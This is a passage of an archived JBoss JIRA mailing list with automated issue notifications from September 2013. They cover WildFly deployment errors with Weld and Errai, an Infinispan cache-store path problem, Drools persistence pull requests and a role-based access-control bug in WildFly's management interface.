	at org.jboss.weld.util.Beans.injectFieldsAndInitializers(Beans.java:387) [weld-core-impl-2.0.3.Final.jar:2013-07-17 09:29]
	at org.jboss.weld.injection.producer.DefaultInjector.inject(DefaultInjector.java:72) [weld-core-impl-2.0.3.Final.jar:2013-07-17 09:29]
	at org.jboss.weld.injection.producer.StatelessSessionBeanInjector.inject(StatelessSessionBeanInjector.java:50) [weld-core-impl-2.0.3.Final.jar:2013-07-17 09:29]
	at org.jboss.weld.injection.producer.DefaultInjector$1.proceed(DefaultInjector.java:66) [weld-core-impl-2.0.3.Final.jar:2013-07-17 09:29]
	at org.jboss.weld.injection.InjectionContextImpl.run(InjectionContextImpl.java:48) [weld-core-impl-2.0.3.Final.jar:2013-07-17 09:29]
	at org.jboss.weld.injection.producer.DefaultInjector.inject(DefaultInjector.java:64) [weld-core-impl-2.0.3.Final.jar:2013-07-17 09:29]
	at org.jboss.weld.injection.producer.BasicInjectionTarget.inject(BasicInjectionTarget.java:91) [weld-core-impl-2.0.3.Final.jar:2013-07-17 09:29]
	at org.jboss.resteasy.cdi.JaxrsInjectionTarget.inject(JaxrsInjectionTarget.java:35) [resteasy-cdi-3.0.2.Final.jar:]
	at org.jboss.as.weld.injection.WeldInjectionContext.inject(WeldInjectionContext.java:39) [wildfly-weld-8.0.0.Alpha4.jar:8.0.0.Alpha4]
	at org.jboss.as.weld.injection.WeldInjectionInterceptor.processInvocation(WeldInjectionInterceptor.java:55) [wildfly-weld-8.0.0.Alpha4.jar:8.0.0.Alpha4]
	at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:309)
	at org.jboss.as.ee.component.AroundConstructInterceptorFactory$1.processInvocation(AroundConstructInterceptorFactory.java:28)
	at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:309)
	at org.jboss.as.weld.injection.WeldInterceptorInjectionInterceptor.processInvocation(WeldInterceptorInjectionInterceptor.java:62) [wildfly-weld-8.0.0.Alpha4.jar:8.0.0.Alpha4]
	at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:309)
	at org.jboss.as.ee.component.NamespaceContextInterceptor.processInvocation(NamespaceContextInterceptor.java:50)
	at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:309)
	at org.jboss.as.ejb3.tx.CMTTxInterceptor.invokeInOurTx(CMTTxInterceptor.java:273) [wildfly-ejb3-8.0.0.Alpha4.jar:8.0.0.Alpha4]
	... 100 more
Caused by: org.infinispan.CacheException: Unable to start cache loaders
	at org.infinispan.loaders.CacheLoaderManagerImpl.start(CacheLoaderManagerImpl.java:160) [infinispan-core-5.2.4.Final.jar:5.2.4.Final]
	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) [rt.jar:1.7.0_21]
	at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57) [rt.jar:1.7.0_21]
	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) [rt.jar:1.7.0_21]
	at java.lang.reflect.Method.invoke(Method.java:601) [rt.jar:1.7.0_21]
	at org.infinispan.util.ReflectionUtil.invokeAccessibly(ReflectionUtil.java:203) [infinispan-core-5.2.4.Final.jar:5.2.4.Final]
	... 151 more
Caused by: org.infinispan.config.ConfigurationException: Directory /TicketMonster-CacheStore/TICKETMONSTER_ALLOCATIONS does not exist and cannot be created!
	at org.infinispan.loaders.file.FileCacheStore.start(FileCacheStore.java:369) [infinispan-core-5.2.4.Final.jar:5.2.4.Final]
	at org.infinispan.loaders.decorators.ChainingCacheStore.start(ChainingCacheStore.java:285) [infinispan-core-5.2.4.Final.jar:5.2.4.Final]
	at org.infinispan.loaders.CacheLoaderManagerImpl.start(CacheLoaderManagerImpl.java:152) [infinispan-core-5.2.4.Final.jar:5.2.4.Final]
	... 156 more
{code}

It seems the directory which used to be considered . is now considered /.

It might be an acceptable behavior but that's definitely a migration documentation point or something like that.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep  3 11:59:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 3 Sep 2013 11:59:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1988) SaslException at startup in
 domain mode using JAAS for ManagementRealm
In-Reply-To: <JIRA.12499810.1378201935000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499810.1378201935000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499810.1378201935000.6555.1378223943315@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1988?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12801246#comment-12801246 ] 

RH Bugzilla Integration commented on WFLY-1988:
-----------------------------------------------

Emmanuel Hugonnet (ehsavoie) <ehugonne at redhat.com> made a comment on [bug 1003464|https://bugzilla.redhat.com/show_bug.cgi?id=1003464]

EAP PR: https://github.com/jbossas/jboss-eap/pull/347
                
>  SaslException at startup in domain mode using JAAS for ManagementRealm
> -----------------------------------------------------------------------
>
>                 Key: WFLY-1988
>                 URL: https://issues.jboss.org/browse/WFLY-1988
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Domain Management
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Emmanuel Hugonnet
>            Assignee: Emmanuel Hugonnet
>


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep  3 12:18:03 2013
From: jira-events at lists.jboss.org (Mariano De Maio (JIRA))
Date: Tue, 3 Sep 2013 12:18:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-139) Infinispan based Drools and
 jBPM persistence
In-Reply-To: <JIRA.12491792.1368557821000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12491792.1368557821000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12491792.1368557821000.6594.1378225083517@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/DROOLS-139?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Mariano De Maio updated DROOLS-139:
-----------------------------------

    Git Pull Request: https://github.com/droolsjbpm/droolsjbpm-integration/pull/68  (was: https://github.com/droolsjbpm/droolsjbpm-build-bootstrap/pull/38, https://github.com/droolsjbpm/drools/pull/198, https://github.com/droolsjbpm/jbpm/pull/166)

    
> Infinispan based Drools and jBPM persistence
> --------------------------------------------
>
>                 Key: DROOLS-139
>                 URL: https://issues.jboss.org/browse/DROOLS-139
>             Project: Drools
>          Issue Type: Feature Request
>      Security Level: Public(Everyone can see) 
>    Affects Versions: 6.0.0.Final
>            Reporter: Mariano De Maio
>            Assignee: Mark Proctor
>
> I?ve worked on an infinispan based persistence scheme for drools objects.
> The whole idea is to give both a possibility for Infinispan users to have a way to persist these contents in something different than JPA, as well as to give an example of how to build your own persistence scheme for drools and jbpm objects.
> More information about this here: http://marianbuenosayres.wordpress.com/2013/05/14/creating-your-own-drools-and-jbpm-persistence-infinispan/

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira


From jira-events at lists.jboss.org  Tue Sep  3 12:18:03 2013
From: jira-events at lists.jboss.org (Mariano De Maio (JIRA))
Date: Tue, 3 Sep 2013 12:18:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-139) Infinispan based Drools and
 jBPM persistence
In-Reply-To: <JIRA.12491792.1368557821000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12491792.1368557821000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12491792.1368557821000.6599.1378225083650@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/DROOLS-139?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12801253#comment-12801253 ] 

Mariano De Maio commented on DROOLS-139:
----------------------------------------

As recommended by (and thanks to) @mrietveld , the Drools and jBPM persistence modulesare added with this pull request:

https://github.com/droolsjbpm/droolsjbpm-integration/pull/68

as part of droolsjbpm-integration repository.
                
> Infinispan based Drools and jBPM persistence
> --------------------------------------------
>
>                 Key: DROOLS-139
>                 URL: https://issues.jboss.org/browse/DROOLS-139
>             Project: Drools
>          Issue Type: Feature Request
>      Security Level: Public(Everyone can see) 
>    Affects Versions: 6.0.0.Final
>            Reporter: Mariano De Maio
>            Assignee: Mark Proctor
>
> I?ve worked on an infinispan based persistence scheme for drools objects.
> The whole idea is to give both a possibility for Infinispan users to have a way to persist these contents in something different than JPA, as well as to give an example of how to build your own persistence scheme for drools and jbpm objects.
> More information about this here: http://marianbuenosayres.wordpress.com/2013/05/14/creating-your-own-drools-and-jbpm-persistence-infinispan/

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira


From jira-events at lists.jboss.org  Tue Sep  3 12:53:03 2013
From: jira-events at lists.jboss.org (Jonathan Fuerth (JIRA))
Date: Tue, 3 Sep 2013 12:53:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1992) Invalid deployment in WildFly
 8 - Errai, Weld, TicketMonster
In-Reply-To: <JIRA.12499827.1378213572000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499827.1378213572000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499827.1378213572000.6634.1378227183335@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1992?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12801255#comment-12801255 ] 

Jonathan Fuerth commented on WFLY-1992:
---------------------------------------

For reference (to save digging around) the offending type org.jboss.errai.bus.server.servlet.StandardAsyncServlet$1 is an anonymous inner class that implements javax.servlet.AsyncListener.

Full source is here: https://github.com/errai/errai/blob/bb02153766e978ef8b5026956b2d4ec0050b1797/errai-bus/src/main/java/org/jboss/errai/bus/server/servlet/StandardAsyncServlet.java#L148

I don't know why this particular anonymous inner class is getting singled out. Has AsyncListener become special in CDI 1.1? Are implementations of AsyncListener now required to follow the rules of CDI beans?
                
> Invalid deployment in WildFly 8 - Errai, Weld, TicketMonster
> ------------------------------------------------------------
>
>                 Key: WFLY-1992
>                 URL: https://issues.jboss.org/browse/WFLY-1992
>             Project: WildFly
>          Issue Type: Bug
>            Reporter: Emmanuel Bernard
>
> I am deploying TicketMonster which includes Errai and receives a deployment error that is not happening in JBoss AS 7.x nor EAP 6.x.
> Note that it could be
> - a WildFly error per se
> - a Weld error or change
> - an Errai error
> I am opening the issue here to track the problem down to its cause.
> {code}
> 15:00:17,818 INFO  [org.jboss.errai.cdi.server.CDIExtensionPoints] (MSC service thread 1-5) starting errai cdi ...
> 15:00:18,731 INFO  [org.jboss.errai.reflections.Reflections] (Thread-106) Reflections took 346 ms to scan 7 urls, producing 387 keys and 1384 values [using 2 cores]
> 15:00:18,815 WARN  [org.jboss.weld.Bean] (MSC service thread 1-5) WELD-001529 An InjectionTarget is created for a class org.jboss.errai.bus.server.service.ErraiServiceImpl which does not have any appropriate constructor.
> 15:00:18,828 INFO  [org.jboss.errai.cdi.server.CDIExtensionPoints] (pool-20-thread-1) all services registered successfully
> 15:00:18,928 WARN  [org.jboss.weld.Bootstrap] (weld-worker-2) WELD-001473 javax.enterprise.inject.spi.Bean implementation org.jboss.errai.cdi.server.ErraiServiceBean at 7adf1c57 declared a normal scope but does not implement javax.enterprise.inject.spi.PassivationCapable. It won't be possible to inject this bean into a bean with passivating scope (@SessionScoped, @ConversationScoped). This can be fixed by assigning the Bean implementation a unique id by implementing the PassivationCapable interface.
> 15:00:18,928 WARN  [org.jboss.weld.Bootstrap] (weld-worker-3) WELD-001473 javax.enterprise.inject.spi.Bean implementation org.jboss.errai.cdi.server.MessageBusBean at 19b6b8f5 declared a normal scope but does not implement javax.enterprise.inject.spi.PassivationCapable. It won't be possible to inject this bean into a bean with passivating scope (@SessionScoped, @ConversationScoped). This can be fixed by assigning the Bean implementation a unique id by implementing the PassivationCapable interface.
> 15:00:18,945 ERROR [org.jboss.msc.service.fail] (MSC service thread 1-2) MSC000001: Failed to start service jboss.deployment.unit."ticket-monster.war".component."org.jboss.errai.bus.server.servlet.StandardAsyncServlet$1".WeldInstantiator: org.jboss.msc.service.StartException in service jboss.deployment.unit."ticket-monster.war".component."org.jboss.errai.bus.server.servlet.StandardAsyncServlet$1".WeldInstantiator: Failed to start service
> 	at org.jboss.msc.service.ServiceControllerImpl$StartTask.run(ServiceControllerImpl.java:1900) [jboss-msc-1.2.0.Beta2.jar:1.2.0.Beta2]
> 	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_21]
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_21]
> 	at java.lang.Thread.run(Thread.java:722) [rt.jar:1.7.0_21]
> Caused by: org.jboss.weld.exceptions.DefinitionException: WELD-000070 Simple bean [EnhancedAnnotatedTypeImpl]  class org.jboss.errai.bus.server.servlet.StandardAsyncServlet$1 cannot be a non-static inner class
> 	at org.jboss.weld.injection.producer.BasicInjectionTarget.checkType(BasicInjectionTarget.java:81)
> 	at org.jboss.weld.injection.producer.BasicInjectionTarget.<init>(BasicInjectionTarget.java:69)
> 	at org.jboss.as.weld.injection.NonContextualComponentInjectionTarget.<init>(NonContextualComponentInjectionTarget.java:48)
> 	at org.jboss.as.weld.injection.NonContextualComponentInjectionTarget.<init>(NonContextualComponentInjectionTarget.java:44)
> 	at org.jboss.as.weld.injection.WeldComponentService.start(WeldComponentService.java:129)
> 	at org.jboss.msc.service.ServiceControllerImpl$StartTask.startService(ServiceControllerImpl.java:1944) [jboss-msc-1.2.0.Beta2.jar:1.2.0.Beta2]
> 	at org.jboss.msc.service.ServiceControllerImpl$StartTask.run(ServiceControllerImpl.java:1877) [jboss-msc-1.2.0.Beta2.jar:1.2.0.Beta2]
> 	... 3 more
> 15:00:18,975 ERROR [org.jboss.as.controller.management-operation] (DeploymentScanner-threads - 1) JBAS014613: Operation ("deploy") failed - address: ([("deployment" => "ticket-monster.war")]) - failure description: {"JBAS014671: Failed services" => {"jboss.deployment.unit.\"ticket-monster.war\".component.\"org.jboss.errai.bus.server.servlet.StandardAsyncServlet$1\".WeldInstantiator" => "org.jboss.msc.service.StartException in service jboss.deployment.unit.\"ticket-monster.war\".component.\"org.jboss.errai.bus.server.servlet.StandardAsyncServlet$1\".WeldInstantiator: Failed to start service
>     Caused by: org.jboss.weld.exceptions.DefinitionException: WELD-000070 Simple bean [EnhancedAnnotatedTypeImpl]  class org.jboss.errai.bus.server.servlet.StandardAsyncServlet$1 cannot be a non-static inner class"}}
> 15:00:18,977 ERROR [org.jboss.as.server] (DeploymentScanner-threads - 1) JBAS015870: Deploy of deployment "ticket-monster.war" was rolled back with the following failure message: 
> {"JBAS014671: Failed services" => {"jboss.deployment.unit.\"ticket-monster.war\".component.\"org.jboss.errai.bus.server.servlet.StandardAsyncServlet$1\".WeldInstantiator" => "org.jboss.msc.service.StartException in service jboss.deployment.unit.\"ticket-monster.war\".component.\"org.jboss.errai.bus.server.servlet.StandardAsyncServlet$1\".WeldInstantiator: Failed to start service
>     Caused by: org.jboss.weld.exceptions.DefinitionException: WELD-000070 Simple bean [EnhancedAnnotatedTypeImpl]  class org.jboss.errai.bus.server.servlet.StandardAsyncServlet$1 cannot be a non-static inner class"}}
> 15:00:18,986 INFO  [org.jboss.as.jpa] (ServerService Thread Pool -- 73) JBAS011410: Stopping Persistence Unit (phase 2 of 2) Service 'ticket-monster.war#primary'
> 15:00:18,987 INFO  [org.hibernate.tool.hbm2ddl.SchemaExport] (ServerService Thread Pool -- 73) HHH000227: Running hbm2ddl schema export
> 15:00:19,004 INFO  [org.hibernate.tool.hbm2ddl.SchemaExport] (ServerService Thread Pool -- 73) HHH000230: Schema export complete
> 15:00:19,007 INFO  [org.jboss.weld.deployer] (MSC service thread 1-4) JBAS016009: Stopping weld service for deployment ticket-monster.war
> 15:00:19,021 INFO  [org.jboss.as.jpa] (ServerService Thread Pool -- 73) JBAS011410: Stopping Persistence Unit (phase 1 of 2) Service 'ticket-monster.war#primary'
> 15:00:19,022 INFO  [org.jboss.as.connector.subsystems.datasources] (MSC service thread 1-6) JBAS010409: Unbound data source [java:jboss/datasources/ticket-monsterDS]
> 15:00:19,050 INFO  [org.jboss.as.server.deployment] (MSC service thread 1-4) JBAS015877: Stopped deployment ticket-monster.war (runtime-name: ticket-monster.war) in 72ms
> 15:00:19,052 INFO  [org.jboss.as.controller] (DeploymentScanner-threads - 1) JBAS014774: Service status report
> JBAS014775:    New missing/unsatisfied dependencies:
>       service jboss.deployment.unit."ticket-monster.war".component."javax.servlet.jsp.jstl.tlv.ScriptFreeTLV".START (missing) dependents: [service jboss.deployment.unit."ticket-monster.war".deploymentCompleteService, service jboss.undertow.deployment.default-host./ticket-monster] 
> JBAS014776:    Newly corrected services:
>       service jboss.deployment.unit."ticket-monster.war".ee.ComponentRegistry (no longer required)
> JBAS014777:   Services which failed to start:      service jboss.deployment.unit."ticket-monster.war".component."org.jboss.errai.bus.server.servlet.StandardAsyncServlet$1".WeldInstantiator
> {code}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep  3 13:01:04 2013
From: jira-events at lists.jboss.org (Jonathan Fuerth (JIRA))
Date: Tue, 3 Sep 2013 13:01:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1992) Invalid deployment in WildFly
 8 - Errai, Weld, TicketMonster
In-Reply-To: <JIRA.12499827.1378213572000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499827.1378213572000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499827.1378213572000.6646.1378227664175@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1992?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12801257#comment-12801257 ] 

Jonathan Fuerth commented on WFLY-1992:
---------------------------------------

Aha, it appears this problem has been solved by WELD-1441, with a fix version of 2.0.2.Final.
                
> Invalid deployment in WildFly 8 - Errai, Weld, TicketMonster
> ------------------------------------------------------------
>
>                 Key: WFLY-1992
>                 URL: https://issues.jboss.org/browse/WFLY-1992
>             Project: WildFly
>          Issue Type: Bug
>            Reporter: Emmanuel Bernard
>
> I am deploying TicketMonster which includes Errai and receives a deployment error that is not happening in JBoss AS 7.x nor EAP 6.x.
> Note that it could be
> - a WildFly error per se
> - a Weld error or change
> - an Errai error
> I am opening the issue here to track the problem down to its cause.
> {code}
> 15:00:17,818 INFO  [org.jboss.errai.cdi.server.CDIExtensionPoints] (MSC service thread 1-5) starting errai cdi ...
> 15:00:18,731 INFO  [org.jboss.errai.reflections.Reflections] (Thread-106) Reflections took 346 ms to scan 7 urls, producing 387 keys and 1384 values [using 2 cores]
> 15:00:18,815 WARN  [org.jboss.weld.Bean] (MSC service thread 1-5) WELD-001529 An InjectionTarget is created for a class org.jboss.errai.bus.server.service.ErraiServiceImpl which does not have any appropriate constructor.
> 15:00:18,828 INFO  [org.jboss.errai.cdi.server.CDIExtensionPoints] (pool-20-thread-1) all services registered successfully
> 15:00:18,928 WARN  [org.jboss.weld.Bootstrap] (weld-worker-2) WELD-001473 javax.enterprise.inject.spi.Bean implementation org.jboss.errai.cdi.server.ErraiServiceBean at 7adf1c57 declared a normal scope but does not implement javax.enterprise.inject.spi.PassivationCapable. It won't be possible to inject this bean into a bean with passivating scope (@SessionScoped, @ConversationScoped). This can be fixed by assigning the Bean implementation a unique id by implementing the PassivationCapable interface.
> 15:00:18,928 WARN  [org.jboss.weld.Bootstrap] (weld-worker-3) WELD-001473 javax.enterprise.inject.spi.Bean implementation org.jboss.errai.cdi.server.MessageBusBean at 19b6b8f5 declared a normal scope but does not implement javax.enterprise.inject.spi.PassivationCapable. It won't be possible to inject this bean into a bean with passivating scope (@SessionScoped, @ConversationScoped). This can be fixed by assigning the Bean implementation a unique id by implementing the PassivationCapable interface.
> 15:00:18,945 ERROR [org.jboss.msc.service.fail] (MSC service thread 1-2) MSC000001: Failed to start service jboss.deployment.unit."ticket-monster.war".component."org.jboss.errai.bus.server.servlet.StandardAsyncServlet$1".WeldInstantiator: org.jboss.msc.service.StartException in service jboss.deployment.unit."ticket-monster.war".component."org.jboss.errai.bus.server.servlet.StandardAsyncServlet$1".WeldInstantiator: Failed to start service
> 	at org.jboss.msc.service.ServiceControllerImpl$StartTask.run(ServiceControllerImpl.java:1900) [jboss-msc-1.2.0.Beta2.jar:1.2.0.Beta2]
> 	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_21]
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_21]
> 	at java.lang.Thread.run(Thread.java:722) [rt.jar:1.7.0_21]
> Caused by: org.jboss.weld.exceptions.DefinitionException: WELD-000070 Simple bean [EnhancedAnnotatedTypeImpl]  class org.jboss.errai.bus.server.servlet.StandardAsyncServlet$1 cannot be a non-static inner class
> 	at org.jboss.weld.injection.producer.BasicInjectionTarget.checkType(BasicInjectionTarget.java:81)
> 	at org.jboss.weld.injection.producer.BasicInjectionTarget.<init>(BasicInjectionTarget.java:69)
> 	at org.jboss.as.weld.injection.NonContextualComponentInjectionTarget.<init>(NonContextualComponentInjectionTarget.java:48)
> 	at org.jboss.as.weld.injection.NonContextualComponentInjectionTarget.<init>(NonContextualComponentInjectionTarget.java:44)
> 	at org.jboss.as.weld.injection.WeldComponentService.start(WeldComponentService.java:129)
> 	at org.jboss.msc.service.ServiceControllerImpl$StartTask.startService(ServiceControllerImpl.java:1944) [jboss-msc-1.2.0.Beta2.jar:1.2.0.Beta2]
> 	at org.jboss.msc.service.ServiceControllerImpl$StartTask.run(ServiceControllerImpl.java:1877) [jboss-msc-1.2.0.Beta2.jar:1.2.0.Beta2]
> 	... 3 more
> 15:00:18,975 ERROR [org.jboss.as.controller.management-operation] (DeploymentScanner-threads - 1) JBAS014613: Operation ("deploy") failed - address: ([("deployment" => "ticket-monster.war")]) - failure description: {"JBAS014671: Failed services" => {"jboss.deployment.unit.\"ticket-monster.war\".component.\"org.jboss.errai.bus.server.servlet.StandardAsyncServlet$1\".WeldInstantiator" => "org.jboss.msc.service.StartException in service jboss.deployment.unit.\"ticket-monster.war\".component.\"org.jboss.errai.bus.server.servlet.StandardAsyncServlet$1\".WeldInstantiator: Failed to start service
>     Caused by: org.jboss.weld.exceptions.DefinitionException: WELD-000070 Simple bean [EnhancedAnnotatedTypeImpl]  class org.jboss.errai.bus.server.servlet.StandardAsyncServlet$1 cannot be a non-static inner class"}}
> 15:00:18,977 ERROR [org.jboss.as.server] (DeploymentScanner-threads - 1) JBAS015870: Deploy of deployment "ticket-monster.war" was rolled back with the following failure message: 
> {"JBAS014671: Failed services" => {"jboss.deployment.unit.\"ticket-monster.war\".component.\"org.jboss.errai.bus.server.servlet.StandardAsyncServlet$1\".WeldInstantiator" => "org.jboss.msc.service.StartException in service jboss.deployment.unit.\"ticket-monster.war\".component.\"org.jboss.errai.bus.server.servlet.StandardAsyncServlet$1\".WeldInstantiator: Failed to start service
>     Caused by: org.jboss.weld.exceptions.DefinitionException: WELD-000070 Simple bean [EnhancedAnnotatedTypeImpl]  class org.jboss.errai.bus.server.servlet.StandardAsyncServlet$1 cannot be a non-static inner class"}}
> 15:00:18,986 INFO  [org.jboss.as.jpa] (ServerService Thread Pool -- 73) JBAS011410: Stopping Persistence Unit (phase 2 of 2) Service 'ticket-monster.war#primary'
> 15:00:18,987 INFO  [org.hibernate.tool.hbm2ddl.SchemaExport] (ServerService Thread Pool -- 73) HHH000227: Running hbm2ddl schema export
> 15:00:19,004 INFO  [org.hibernate.tool.hbm2ddl.SchemaExport] (ServerService Thread Pool -- 73) HHH000230: Schema export complete
> 15:00:19,007 INFO  [org.jboss.weld.deployer] (MSC service thread 1-4) JBAS016009: Stopping weld service for deployment ticket-monster.war
> 15:00:19,021 INFO  [org.jboss.as.jpa] (ServerService Thread Pool -- 73) JBAS011410: Stopping Persistence Unit (phase 1 of 2) Service 'ticket-monster.war#primary'
> 15:00:19,022 INFO  [org.jboss.as.connector.subsystems.datasources] (MSC service thread 1-6) JBAS010409: Unbound data source [java:jboss/datasources/ticket-monsterDS]
> 15:00:19,050 INFO  [org.jboss.as.server.deployment] (MSC service thread 1-4) JBAS015877: Stopped deployment ticket-monster.war (runtime-name: ticket-monster.war) in 72ms
> 15:00:19,052 INFO  [org.jboss.as.controller] (DeploymentScanner-threads - 1) JBAS014774: Service status report
> JBAS014775:    New missing/unsatisfied dependencies:
>       service jboss.deployment.unit."ticket-monster.war".component."javax.servlet.jsp.jstl.tlv.ScriptFreeTLV".START (missing) dependents: [service jboss.deployment.unit."ticket-monster.war".deploymentCompleteService, service jboss.undertow.deployment.default-host./ticket-monster] 
> JBAS014776:    Newly corrected services:
>       service jboss.deployment.unit."ticket-monster.war".ee.ComponentRegistry (no longer required)
> JBAS014777:   Services which failed to start:      service jboss.deployment.unit."ticket-monster.war".component."org.jboss.errai.bus.server.servlet.StandardAsyncServlet$1".WeldInstantiator
> {code}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep  3 13:29:03 2013
From: jira-events at lists.jboss.org (Brian Stansberry (JIRA))
Date: Tue, 3 Sep 2013 13:29:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1980) Revisit priviledges for
 /core-service=management/access=authorization
In-Reply-To: <JIRA.12499752.1378119170000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499752.1378119170000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499752.1378119170000.6842.1378229343425@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1980?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12801272#comment-12801272 ] 

Brian Stansberry commented on WFLY-1980:
----------------------------------------

This looks like a bug of some sort. The relevant sensitivity classification should be making these 'readable=false'. Maybe it's not getting applied correctly.
                
> Revisit priviledges for /core-service=management/access=authorization
> ---------------------------------------------------------------------
>
>                 Key: WFLY-1980
>                 URL: https://issues.jboss.org/browse/WFLY-1980
>             Project: WildFly
>          Issue Type: Bug
>          Components: Domain Management
>            Reporter: Heiko Braun
>            Assignee: Brian Stansberry
>
> It seems the access control resources (/core-service=management/access=authorization) are addressable by the monitor role:
> {noformat}
> [standalone at localhost:9990 /] /core-service=management/access=authorization:read-resource(){roles=monitor}
> {
>     "outcome" => "success",
>     "result" => {
>         "provider" => "simple",
>         "use-realm-roles" => false,
>         "constraint" => {
>             "application-classification" => undefined,
>             "sensitivity-classification" => undefined,
>             "vault-expression" => undefined
>         },
>         "role-mapping" => {"SuperUser" => undefined}
>     }
> }
> {noformat}
> I think it should be 'addressable=false' for anybody except SuperUser and Administrator

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep  3 13:29:03 2013
From: jira-events at lists.jboss.org (Brian Stansberry (JIRA))
Date: Tue, 3 Sep 2013 13:29:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1980) Revisit priviledges for
 /core-service=management/access=authorization
In-Reply-To: <JIRA.12499752.1378119170000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499752.1378119170000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499752.1378119170000.6845.1378229343700@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1980?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Brian Stansberry updated WFLY-1980:
-----------------------------------

    Fix Version/s: 8.0.0.Beta1

    
> Revisit priviledges for /core-service=management/access=authorization
> ---------------------------------------------------------------------
>
>                 Key: WFLY-1980
>                 URL: https://issues.jboss.org/browse/WFLY-1980
>             Project: WildFly
>          Issue Type: Bug
>          Components: Domain Management
>            Reporter: Heiko Braun
>            Assignee: Brian Stansberry
>             Fix For: 8.0.0.Beta1
>
>
> It seems the access control resources (/core-service=management/access=authorization) are addressable by the monitor role:
> {noformat}
> [standalone at localhost:9990 /] /core-service=management/access=authorization:read-resource(){roles=monitor}
> {
>     "outcome" => "success",
>     "result" => {
>         "provider" => "simple",
>         "use-realm-roles" => false,
>         "constraint" => {
>             "application-classification" => undefined,
>             "sensitivity-classification" => undefined,
>             "vault-expression" => undefined
>         },
>         "role-mapping" => {"SuperUser" => undefined}
>     }
> }
> {noformat}
> I think it should be 'addressable=false' for anybody except SuperUser and Administrator

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep  3 13:36:04 2013
From: jira-events at lists.jboss.org (Stan Silvert (JIRA))
